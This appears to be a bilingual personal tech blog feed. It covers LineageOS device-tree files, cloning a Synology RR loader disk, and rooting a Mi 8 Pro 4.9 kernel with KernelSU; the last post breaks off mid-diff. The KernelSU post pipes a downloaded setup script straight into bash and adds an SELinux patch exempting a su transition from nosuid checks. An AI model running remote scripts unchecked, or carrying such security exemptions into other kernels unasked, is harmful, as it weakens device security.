This modifies the variable of the same name here: https://github.com/LineageOS/android_frameworks_base/blob/lineage-22.1/packages/SystemUI/res/values/config.xml#L175 and thereby indicates whether the device supports Doze display:https://github.com/LineageOS/android_frameworks_base/blob/472a48741ac22537b3a0d1c0b87dbff2c1c2af8f/packages/SystemUI/src/com/android/systemui/statusbar/phone/DozeParameters.java#L185-L187

When writing overlays, one generally needs to reference the definitions of items in the res within the system and replace their values as needed.

.dependencies Files

As the name implies, dependencies. This file defines which dependent repositories are needed to use this device tree, encoded in JSON. The basic format is as follows:

[
   {
      "repository": "",
      "target_path": "",
      "branch": "",
      "remote": ""
   },
   {
      "repository": "",
      "target_path": "",
      "branch": "",
      "remote": ""
   }
]

Parameter details:

remote: The remote address, corresponding to the remote address in the main source tree's manifest. This parameter is optional. If not specified, it defaults to cloning from the default remote address in the main source tree's manifest.
repository: The repository address, i.e., this repository under the remote address. Required.
branch: The branch corresponding to the branch used when downloading from the specified repository. Optional. If not specified, it defaults to the same branch as the main source tree.
target_path: The clone target path. Required.
clone-path: The clone depth, similar to the --depth parameter in the git clone command. Optional. If not specified, it defaults to a full download (same logic as the git command).
revision: Can be understood as the branch. Optional.

Therefore, a simplest dependencies file without the optional parameters can look like this:

https://github.com/LineageOS/android_device_xiaomi_equuleus/blob/lineage-22.1/lineage.dependencies

[
  {
    "repository": "android_device_xiaomi_sdm845-common",
    "target_path": "device/xiaomi/sdm845-common"
  }
]

When using commands like breakfast that automatically download supported device trees, this file is used to integrate the required repositories into the main source tree's manifest and download them together.

extract-files.py, setup-makefiles.py, and proprietary-files.txt

These files are used when generating the Vendor tree. Generally, the required blobs are listed in proprietary-files.txt, then extract-files.py is run to extract blobs from the system or a dump and create the vendor tree.

That's all for now, more may be added later.

为黑群晖迁移RR引导盘

Wed, 29 Jan 2025 16:36:00 GMT

写这篇文章是因为原来的磁盘是一个16g的u盘，目标磁盘是一条16g的傲腾，虽然都是16G但是原先那个稍微大一点（我也不知道为什么（逃
直接dd肯定是行不通了，原盘比目标盘大，故记录下折腾过程

:::warning 数据无价，折腾需谨慎 :::

分析

RR引导盘一共有三个分区：

FAT32,50.00MB
Ext2,50.00MB
Ext4,剩余所有空间

其中，第一个分区是引导分区，是可引导的（fdisk -l中Boot被打了星号）；第二个没研究是什么，估计是grub，第三个存放了群晖的内核和RR的配置文件

思路

因为前两个分区大小很小，所以直接用dd将两个分区完整拷贝到目标磁盘；第三个分区手动创建并格式化后将UUID、Label同步过来

:::info 折腾过程使用Linux操作 :::

开整

将两块磁盘接入系统，分别为原盘/dev/sda，目标盘/dev/sdb
查看原盘信息：

sudo fdisk -l /dev/sda

输出：

Disk /dev/sda: 14.55 GiB, 15627976704 bytes, 30523392 sectors
Disk model: Storage Media   
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x66d0fe82

Device     Boot  Start      End  Sectors  Size Id Type
/dev/sda1  *      2048   104447   102400   50M 83 Linux
/dev/sda2       104448   206847   102400   50M 83 Linux
/dev/sda3       206848 30523391 30316544 14.5G 83 Linux

将前两个分区和磁盘分区表信息拷贝到目标盘

sudo dd if=/dev/sda of=/dev/sdb bs=512 count=206848 # 本例扇区大小为 512 字节，count 为第三个分区的起始扇区，请按实际磁盘修改

输出：

206848+0 records in
206848+0 records out
105906176 bytes (106 MB, 101 MiB) copied, 11.3812 s, 9.3 MB/s

创建第三个分区

使用fdisk打开磁盘：

sudo fdisk /dev/sdb

先删除原有的第三个分区的分区数据：输入d，输出Partition number (1-3, default 3):时输入3或直接回车；
提示Partition 3 has been deleted.后输入n创建分区，Partition type选择主分区，即p，剩下一路默认回车即可。完成后输入w保存退出。
不会用fdisk的建议自行搜索

格式化新创建的分区并写入UUID等信息

sudo mkfs.ext4 /dev/sdb3

使用file指令查看原盘第三个分区的信息：

sudo file -s /dev/sda3

输出：

/dev/sda3: Linux rev 1.0 ext4 filesystem data, UUID=617a3aca-4b56-42d7-8558-54411b344a7d, volume name "RR3" (extents) (64bit) (large files) (huge files)

记录下UUID和volume name（即"RR3"），并使用如下指令将UUID和volume name写入新盘：

sudo tune2fs /dev/sdb3 -U 617a3aca-4b56-42d7-8558-54411b344a7d # 写入原分区的 UUID，请替换为你记录的值
sudo tune2fs /dev/sdb3 -L RR3 # 写入volume name

拷贝数据

挂载两个盘的第三分区，假设原盘为~/a，目标盘为~/b，接着拷贝a中的所有数据到b（这步直接cp指令就行，不多赘述了）

最终，umount所有挂载点，拔下磁盘接入黑群晖，迁移成功。

Migrating RR Loader for Synology DSM

Wed, 29 Jan 2025 16:36:00 GMT

I wrote this article because the original disk was a 16GB USB drive, and the target disk is a 16GB Optane. Although both are 16GB, the original one is slightly larger (I don't know why either orz).
Directly using dd won't work since the source disk is larger than the target, so I'm documenting the process here.

:::warning Data is priceless, tinkering requires caution. :::

Analysis

The RR boot disk has three partitions:

FAT32,50.00MB
Ext2,50.00MB
Ext4,occupying the remaining space

The first partition is the boot partition and is bootable (marked with an asterisk under "Boot" in fdisk -l). The second partition's purpose is unclear, but it's likely for GRUB. The third partition holds Synology's kernel and RR Loader configuration files.

Approach

Since the first two partitions are small, we can use dd to copy them entirely to the target disk. For the third partition, we'll manually create and format it, then synchronize the UUID and Label.

:::info This process uses Linux operations. :::

Let's Start

Connect both disks to the system: source disk as /dev/sda, target disk as /dev/sdb.
Check the source disk information:

sudo fdisk -l /dev/sda

Output:

Disk /dev/sda: 14.55 GiB, 15627976704 bytes, 30523392 sectors
Disk model: Storage Media   
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x66d0fe82

Device     Boot  Start      End  Sectors  Size Id Type
/dev/sda1  *      2048   104447   102400   50M 83 Linux
/dev/sda2       104448   206847   102400   50M 83 Linux
/dev/sda3       206848 30523391 30316544 14.5G 83 Linux

Copy the First Two Partitions and Disk Partition Table to the Target Disk

sudo dd if=/dev/sda of=/dev/sdb bs=512 count=206848 # This example uses 512-byte sectors; count is the third partition's starting sector. Adjust for your disk.

Output:

206848+0 records in
206848+0 records out
105906176 bytes (106 MB, 101 MiB) copied, 11.3812 s, 9.3 MB/s

Create the Third Partition

Open the disk with fdisk:

sudo fdisk /dev/sdb

First, wipe the existing third partition data: Type d, and when prompted with Partition number (1-3, default 3):, enter 3 or just press Enter. After seeing Partition 3 has been deleted., type n to create a new partition. Select primary partition by typing p, and accept the default options for the rest by pressing Enter. Once done, type w to save and exit.
If you're unfamiliar with fdisk, search for tutorials online.

Format the Newly Created Partition and Write UUID and Label

sudo mkfs.ext4 /dev/sdb3

Check the details of the source disk's third partition using the file command:

sudo file -s /dev/sda3

Output:

/dev/sda3: Linux rev 1.0 ext4 filesystem data, UUID=617a3aca-4b56-42d7-8558-54411b344a7d, volume name "RR3" (extents) (64bit) (large files) (huge files)

Note down the UUID and volume name (i.e., "RR3"), and use the following commands to write them to the new disk:

sudo tune2fs /dev/sdb3 -U 617a3aca-4b56-42d7-8558-54411b344a7d # Use the UUID recorded from your source partition.
sudo tune2fs /dev/sdb3 -L RR3 # Write volume name

Copy data

Mount the third partitions of both disks. Assume the source is mounted at ~/a and the target at ~/b. Then, copy all data from a to b (this step is straightforward with cp, so no detailed explanation needed).

Finally, unmount all mount points, disconnect the disks, and connect them to your NAS. The migration should be successful.

给Android 4.9内核添加KernelSU支持

Thu, 26 Dec 2024 16:18:00 GMT

前言

KernelSU出来也有一段时间了，官方只支持GKI内核但是给出了非GKI内核的集成方案。咱使用的小米8屏幕指纹版是基于Android4.9内核的，实测直接使用KernelSU的脚本集成会出问题，故记录下折腾过程
特别感谢：Tomsec大佬提供的4.9修复方案

准备材料

Android Kernel源码，此处使用的是LineageOS/android_kernel_xiaomi_sdm845
能访问GitHub的网络环境
AnyKernel3源码，可参考如下仓库：https://github.com/YoriInstitute/AnyKernel3-equuleus
交叉编译器，可参考如下仓库：https://github.com/YoriInstitute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml#L21-L23
编译服务器

开整

编译环境配置这里就不叙述了，可以放在ROM编译里制作包的时候直接集成在boot.img里也可以单独编译成AnyKernel3可刷入包，这里使用的是AnyKernel3的方案。

下载内核源码、交叉编译器

git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845 #内核源码
git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang #Clang
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1 #aarch64的GCC
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1 #arm的GCC

不同内核需要的交叉编译器可能不同，请根据你的实际情况修改

:::note 此处下载内核时没加参数--depth=1是为了后期便于cherry-pick，若你选择手动修改内核源码而不是pick则可以加上此参数，可以显著减少下载时的时间
:::

修改内核源码

参考如下两个commit：

https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/7862fd2c14b69a1a346b7c699f8370e2de423eef

commit b5853fb7cefdc8a2e160cb73512dc6b51569fa66
Author: OnlyTomInSecond <q2781273965@gmail.com>
Date:   Wed Apr 5 11:05:12 2023 +0800

    kernelsu: allow init exec ksud under nosuid

    Change-Id: I8aa6e6d3cbee1addd5da9bb48b4c08ce91f9db81

diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c
index 4abba0e1674d..693f2ac03352 100644
--- a/security/selinux/hooks.c
+++ b/security/selinux/hooks.c
@@ -2320,7 +2320,10 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
 {
        int nnp = (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS);
        int nosuid = !mnt_may_suid(bprm->file->f_path.mnt);
-       int rc;
+       int rc, error;
+    static u32 ksu_sid;
+       char *secdata;
+    u32 seclen;

        if (!nnp && !nosuid)
      return 0; /* neither NNP nor nosuid */
@@ -2328,6 +2331,18 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
        if (new_tsec->sid == old_tsec->sid)
      return 0; /* No change in credentials */

+    if(!ksu_sid){
+     security_secctx_to_secid("u:r:su:s0", strlen("u:r:su:s0"), &ksu_sid);
+       }
+       error = security_secid_to_secctx(old_tsec->sid, &secdata, &seclen);
+       if (!error) {
+     rc = strcmp("u:r:init:s0",secdata);
+     security_release_secctx(secdata, seclen);
+     if(rc == 0 && new_tsec->sid == ksu_sid){
+   return 0;
+     }
+       }
+
        /*
         * The only transitions we permit under NNP or nosuid
         * are transitions to bounded SIDs, i.e. SIDs that are

https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/81d7168f2f01e6aba0932a4787119fbc541eba58

commit 8bfe4d4de25650505798cba0a5a20db4b2ab7dd6
Author: OnlyTomInSecond <q2781273965@gmail.com>
Date:   Thu Oct 19 17:55:23 2023 +0800

    Kernelsu: add path_umount implementation.

    Change-Id: I3b0273e9857c51cc3215afab0d2cebe0dff38cfb

diff --git a/fs/namespace.c b/fs/namespace.c
index 21fd423b19cf..219a501337b0 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -1711,6 +1711,38 @@ static inline bool may_mandlock(void)
 }
 #endif

+static int can_umount(const struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path->mnt);
+
+       if (!may_mount())
+     return -EPERM;
+       if (path->dentry != path->mnt->mnt_root)
+     return -EINVAL;
+       if (!check_mnt(mnt))
+     return -EINVAL;
+       if (mnt->mnt.mnt_flags & MNT_LOCKED) /* Check optimistically */
+     return -EINVAL;
+       if (flags & MNT_FORCE && !capable(CAP_SYS_ADMIN))
+     return -EPERM;
+       return 0;
+}
+
+// caller is responsible for flags being sane
+int path_umount(struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path->mnt);
+       int ret;
+
+       ret = can_umount(path, flags);
+       if (!ret)
+     ret = do_umount(mnt, flags);
+
+       /* we mustn't call path_put() as that would clear mnt_expiry_mark */
+       dput(path->dentry);
+       mntput_no_expire(mnt);
+       return ret;
+}
 /*
  * Now umount can handle mount points as well as block devices.
  * This is important for filesystems which use unnamed block devices.

方案来源：Tomsec

启用kprobe支持

打开你的内核的defconfig文件，添加如下三行：

CONFIG_KPROBES=y
CONFIG_HAVE_KPROBES=y
CONFIG_KPROBE_EVENTS=y

集成KernelSU

此步骤和ksu官网教程一样，在内核根目录执行如下指令：

curl -LSs "https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh" | bash -s v0.9.5

:::warning 注：最高支持非GKI内核的KernelSU版本是v0.9.5，请勿使用更高版本的tag否则会编译不通过 :::

编写AnyKernel3脚本

下载下来AnyKernel3，并且按照README修改anykernel.sh，可参考咱的仓库修改：

仓库地址：https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/14/anykernel.sh

展开代码

commit 3b46e03e0ffdd52bbb3f51b45b0ff649a407d1a5
Author: KaguraiYoRoy <3363384229@qq.com>
Date:   Sat Sep 9 02:41:54 2023 +0000

    anykernel.sh: modify for equuleus

diff --git a/anykernel.sh b/anykernel.sh
old mode 100755
new mode 100644
index 367d29f..c950ce7
--- a/anykernel.sh
+++ b/anykernel.sh
@@ -4,23 +4,17 @@
 ### AnyKernel setup
 # global properties
 properties() { '
-kernel.string=ExampleKernel by osm0sis @ xda-developers
+kernel.string=Xiaomi 8 Pro Kernel by Kagura iYoRoy @ iYoRoy Studio
 do.devicecheck=1
 do.modules=0
-do.systemless=1
+do.systemless=0
 do.cleanup=1
 do.cleanuponabort=0
-device.name1=maguro
-device.name2=toro
-device.name3=toroplus
-device.name4=tuna
-device.name5=
-supported.versions=
+device.name1=equuleus
+supported.versions=13
 supported.patchlevels=
-supported.vendorpatchlevels=
 '; } # end properties

-
 ### AnyKernel install
 ## boot files attributes
 boot_attributes() {
@@ -29,7 +23,7 @@ set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
 } # end attributes

 # boot shell variables
-block=/dev/block/platform/omap/omap_hsmmc.0/by-name/boot;
+block=/dev/block/bootdevice/by-name/boot;
 is_slot_device=0;
 ramdisk_compression=auto;
 patch_vbmeta_flag=auto;
@@ -41,32 +35,26 @@ patch_vbmeta_flag=auto;
 dump_boot; # use split_boot to skip ramdisk unpack, e.g. for devices with init_boot ramdisk

 # init.rc
-backup_file init.rc;
-replace_string init.rc "cpuctl cpu,timer_slack" "mount cgroup none /dev/cpuctl cpu" "mount cgroup none /dev/cpuctl cpu,timer_slack";
+#backup_file init.rc;
+#replace_string init.rc "cpuctl cpu,timer_slack" "mount cgroup none /dev/cpuctl cpu" "mount cgroup none /dev/cpuctl cpu,timer_slack";

 # init.tuna.rc
-backup_file init.tuna.rc;
-insert_line init.tuna.rc "nodiratime barrier=0" after "mount_all /fstab.tuna" "\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0";
-append_file init.tuna.rc "bootscript" init.tuna;
+#backup_file init.tuna.rc;
+#insert_line init.tuna.rc "nodiratime barrier=0" after "mount_all /fstab.tuna" "\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0";
+#append_file init.tuna.rc "bootscript" init.tuna;

 # fstab.tuna
-backup_file fstab.tuna;
-patch_fstab fstab.tuna /system ext4 options "noatime,barrier=1" "noatime,nodiratime,barrier=0";
-patch_fstab fstab.tuna /cache ext4 options "barrier=1" "barrier=0,nomblk_io_submit";
-patch_fstab fstab.tuna /data ext4 options "data=ordered" "nomblk_io_submit,data=writeback";
-append_file fstab.tuna "usbdisk" fstab;
+#backup_file fstab.tuna;
+#patch_fstab fstab.tuna /system ext4 options "noatime,barrier=1" "noatime,nodiratime,barrier=0";
+#patch_fstab fstab.tuna /cache ext4 options "barrier=1" "barrier=0,nomblk_io_submit";
+#patch_fstab fstab.tuna /data ext4 options "data=ordered" "nomblk_io_submit,data=writeback";
+#append_file fstab.tuna "usbdisk" fstab;

 write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_boot ramdisk
 ## end boot install


-## init_boot files attributes
-#init_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# init_boot shell variables
+## init_boot shell variables
 #block=init_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -98,13 +86,7 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_
 ## end vendor_kernel_boot install


-## vendor_boot files attributes
-#vendor_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# vendor_boot shell variables
+## vendor_boot shell variables
 #block=vendor_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -118,4 +100,3 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_

 #write_boot; # use flash_boot to skip ramdisk repack, e.g. for dtb on devices with hdr v4 but no vendor_kernel_boot
 ## end vendor_boot install
-

编译内核

此处建议参考网上教程，不同内核编译参数设置会有所不同
咱将编译过程打包成了shell脚本，可供参考：

:::note 请将下方$WORKSPACE替换为你自己的工作目录 :::

#!/bin/bash
ARCH="arm64"
CLANG_DIR="$WORKSPACE/clang/clang-r450784d" #Clang文件夹
CC="$CLANG_DIR/bin/clang"
export PATH="$CLANG_DIR/bin:$PATH"
OUT_DIR="./out"
CLANG_TRIPLE="aarch64-linux-gnu-"
CROSS_COMPILE="$WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-" #aarch64GCC
CROSS_COMPILE_ARM32="$WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-" #armGCC
CC_ADDITION_FLAGS="AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld"
ANYKERNEL_DIR="$WORKSPACE/AnyKernel3" #编写好的AnyKernel3文件夹所在位置

THREAD=$(nproc --all)

args="-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS"

### 编译内核 ###
echo "[+]Args: $args"
echo "[+}Generate .config"
make equuleus_user_defconfig $args #此处equuleus_user_defconfig为equuleus的内核defconfig文件，请替换成你的内核配置文件名
echo "[+]Begin Build"
make $args
### 编译完成 ###

### 制作AnyKernel3 ###
cd $WORKSPACE/sdm845/KernelSU
KSU_VERSION='v0.9.5'
TARGET_KERNEL="Mi8Pro-LineageKernel-KernelSU$KSU_VERSION" #内核文件名
echo "[+]KernelSU Version: $KSU_VERSION"
echo "[+]Target file: $TARGET_KERNEL"
cd $WORKSPACE/AnyKernel3
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
OUTPUT_FILE=${TARGET_KERNEL}-$(date +"%y.%m.%d").zip
echo "[+]Output: $OUTPUT_FILE"
zip -r $OUTPUT_FILE *
mv $OUTPUT_FILE $WORKSPACE

刷入

使用twrp之类的recovery即可

使用GitHub Actions自动编译内核

yml编写请参考：https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml

展开代码

name: Build AnyKernel
on:
  push:
  schedule:
    - cron: '0 0 * * 0'

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Download
        run: |
          echo "Free space:"
          df -h
          cd $GITHUB_WORKSPACE
          echo "[+]Install packages:"
          sudo apt update
          sudo apt install zip bc bison build-essential ccache curl flex g++-multilib gcc-multilib git gnupg gperf imagemagick lib32ncurses5-dev lib32readline-dev lib32z1-dev liblz4-tool libncurses5-dev libncurses5 libsdl1.2-dev libssl-dev libwxgtk3.0-gtk3-dev libxml2 libxml2-utils lzop pngcrush rsync schedtool squashfs-tools xsltproc zip zlib1g-dev make unzip python-is-python3
          echo "[+]Clone dependencies:"
          git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845
          git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://github.com/KaguraiYoRoy/AnyKernel3-equuleus AnyKernel3 --depth=1
      - name: Setup KernelSU
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          curl -LSs "https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh" | bash -s main
      - name: Build Kernel
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          ARCH="arm64"
          CLANG_DIR="$GITHUB_WORKSPACE/clang/clang-r450784d"
          CC="$CLANG_DIR/bin/clang"
          export PATH="$CLANG_DIR/bin:$PATH"
          OUT_DIR="./out"
          CLANG_TRIPLE="aarch64-linux-gnu-"
          CROSS_COMPILE="$GITHUB_WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-"
          CROSS_COMPILE_ARM32="$GITHUB_WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-"
          CC_ADDITION_FLAGS="AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld"
          THREAD=$(nproc --all)
          ANYKERNEL_DIR="$GITHUB_WORKSPACE/AnyKernel3"
          args="-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS"
          echo "[+]Args: $args"
          echo "[+}Generate .config"
          make equuleus_user_defconfig $args
          echo "[+]Begin Build"
          make $args
      - name: Compress
        run: |
          cd $GITHUB_WORKSPACE/sdm845/KernelSU
          KSU_VERSION=`expr 10000 + \`git rev-list --count HEAD\` + 200`
          TARGET_KERNEL="Mi8Pro-LineageKernel-KernelSU$KSU_VERSION"
          echo "[+]KernelSU Version: $KSU_VERSION"
          echo "[+]Target file: $TARGET_KERNEL"
          cd $GITHUB_WORKSPACE/AnyKernel3
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
          OUTPUT_FILE=${TARGET_KERNEL}-$(date +"%y.%m.%d").zip
          echo "[+]Output: $OUTPUT_FILE"
          zip -r $OUTPUT_FILE *
          mv $OUTPUT_FILE $GITHUB_WORKSPACE
      - name: Release
        uses: softprops/action-gh-release@v1
        with:
          tag_name: Android13
          files: |
            Mi8Pro*.zip

~~咱才不会告诉你上面的脚本其实也是这里面摘出来的（逃~~

Adding KernelSU Support to Android 4.9 Kernel

Thu, 26 Dec 2024 16:18:00 GMT

Introduction

KernelSU has been available for a while. Officially, it only supports GKI kernels, but the project provides integration guidelines for non-GKI kernels. The Xiaomi Mi 8 Pro, which I use, is based on the Android 4.9 kernel. Testing showed that directly using KernelSU's integration script caused issues, so I'm documenting the process here.
Special thanks to: Developer Tomsec for providing the 4.9 kernel fix.

Prerequisites

Android Kernel source code. Here, we use LineageOS/android_kernel_xiaomi_sdm845
Network access to GitHub
AnyKernel3 source code. You can refer to this repository: YoriInstitute/AnyKernel3-equuleus
Cross-compiler. You can refer to this repository: https://github.com/YoriInstitute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml#L21-L23
A build server

Let's Start

Configuring the build environment won't be detailed here. You can integrate it directly into the boot.img when building the ROM, or compile it separately as an AnyKernel3 flashable zip. This guide uses the AnyKernel3 approach.

Download Kernel Source Code and Cross-Compiler

git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845 #Kernel source
git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang #Clang
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1 #aarch64 GCC
git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1 #arm GCC

Different kernels might require different cross-compilers. Please adjust according to your specific case.

:::note When cloning the kernel source, --depth=1 wasn't used initially to facilitate easier cherry-picking later. If you plan to manually modify the kernel source instead of using cherry-pick, you can add this parameter to significantly reduce download time. :::

Modify Kernel Source

Refer to the following two commits:

https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/7862fd2c14b69a1a346b7c699f8370e2de423eef

commit b5853fb7cefdc8a2e160cb73512dc6b51569fa66
Author: OnlyTomInSecond <q2781273965@gmail.com>
Date:   Wed Apr 5 11:05:12 2023 +0800

    kernelsu: allow init exec ksud under nosuid

    Change-Id: I8aa6e6d3cbee1addd5da9bb48b4c08ce91f9db81

diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c
index 4abba0e1674d..693f2ac03352 100644
--- a/security/selinux/hooks.c
+++ b/security/selinux/hooks.c
@@ -2320,7 +2320,10 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
 {
        int nnp = (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS);
        int nosuid = !mnt_may_suid(bprm->file->f_path.mnt);
-       int rc;
+       int rc, error;
+    static u32 ksu_sid;
+       char *secdata;
+    u32 seclen;

        if (!nnp && !nosuid)
      return 0; /* neither NNP nor nosuid */
@@ -2328,6 +2331,18 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
        if (new_tsec->sid == old_tsec->sid)
      return 0; /* No change in credentials */

+    if(!ksu_sid){
+     security_secctx_to_secid("u:r:su:s0", strlen("u:r:su:s0"), &ksu_sid);
+       }
+       error = security_secid_to_secctx(old_tsec->sid, &secdata, &seclen);
+       if (!error) {
+     rc = strcmp("u:r:init:s0",secdata);
+     security_release_secctx(secdata, seclen);
+     if(rc == 0 && new_tsec->sid == ksu_sid){
+   return 0;
+     }
+       }
+
        /*
         * The only transitions we permit under NNP or nosuid
         * are transitions to bounded SIDs, i.e. SIDs that are

https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/81d7168f2f01e6aba0932a4787119fbc541eba58

commit 8bfe4d4de25650505798cba0a5a20db4b2ab7dd6
Author: OnlyTomInSecond <q2781273965@gmail.com>
Date:   Thu Oct 19 17:55:23 2023 +0800

    Kernelsu: add path_umount implementation.

    Change-Id: I3b0273e9857c51cc3215afab0d2cebe0dff38cfb

diff --git a/fs/namespace.c b/fs/namespace.c
index 21fd423b19cf..219a501337b0 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -1711,6 +1711,38 @@ static inline bool may_mandlock(void)
 }
 #endif

+static int can_umount(const struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path->mnt);
+
+       if (!may_mount())
+     return -EPERM;
+       if (path->dentry != path->mnt->mnt_root)
+     return -EINVAL;
+       if (!check_mnt(mnt))
+     return -EINVAL;
+       if (mnt->mnt.mnt_flags & MNT_LOCKED) /* Check optimistically */
+     return -EINVAL;
+       if (flags & MNT_FORCE && !capable(CAP_SYS_ADMIN))
+     return -EPERM;
+       return 0;
+}
+
+// caller is responsible for flags being sane
+int path_umount(struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path->mnt);
+       int ret;
+
+       ret = can_umount(path, flags);
+       if (!ret)
+     ret = do_umount(mnt, flags);
+
+       /* we mustn't call path_put() as that would clear mnt_expiry_mark */
+       dput(path->dentry);
+       mntput_no_expire(mnt);
+       return ret;
+}
 /*
  * Now umount can handle mount points as well as block devices.
  * This is important for filesystems which use unnamed block devices.

Solution Source: Tomsec

Enable KPROBE Support

Open your kernel's defconfig file and add the following three lines:

CONFIG_KPROBES=y
CONFIG_HAVE_KPROBES=y
CONFIG_KPROBE_EVENTS=y

Integrate KernelSU

This step is the same as the official ksu guide. Execute the following command in the kernel root directory:

curl -LSs "https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh" | bash -s v0.9.5

:::warning Note: The highest version of KernelSU supporting non-GKI kernels is v0.9.5. Do not use a higher version tag, or the build will fail. :::

Write the AnyKernel3 Script

Download AnyKernel3 and modify anykernel.sh according to the README. You can refer to my repository for modifications:

Repository: https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/14/anykernel.sh

Expand Code

commit 3b46e03e0ffdd52bbb3f51b45b0ff649a407d1a5
Author: KaguraiYoRoy <3363384229@qq.com>
Date:   Sat Sep 9 02:41:54 2023 +0000

    anykernel.sh: modify for equuleus

diff --git a/anykernel.sh b/anykernel.sh
old mode 100755
new mode 100644
index 367d29f..c950ce7
--- a/anykernel.sh
+++ b/anykernel.sh
@@ -4,23 +4,17 @@
 ### AnyKernel setup
 # global properties
 properties() { '
